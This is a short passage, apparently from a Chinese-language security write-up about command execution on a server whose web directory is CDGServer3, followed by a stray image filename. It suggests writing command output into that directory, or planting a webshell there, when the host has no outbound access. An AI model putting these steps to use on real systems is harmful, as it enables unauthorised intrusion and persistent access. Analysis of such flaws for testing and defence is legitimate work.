看到Bash -c以及cmd /c也就放心了,同时如果不出网我们也可以把结果写到CDGServer3下直接访问即可,也或者写个马到CDGServer3下,方法比较多就不说了

image-20231213213215168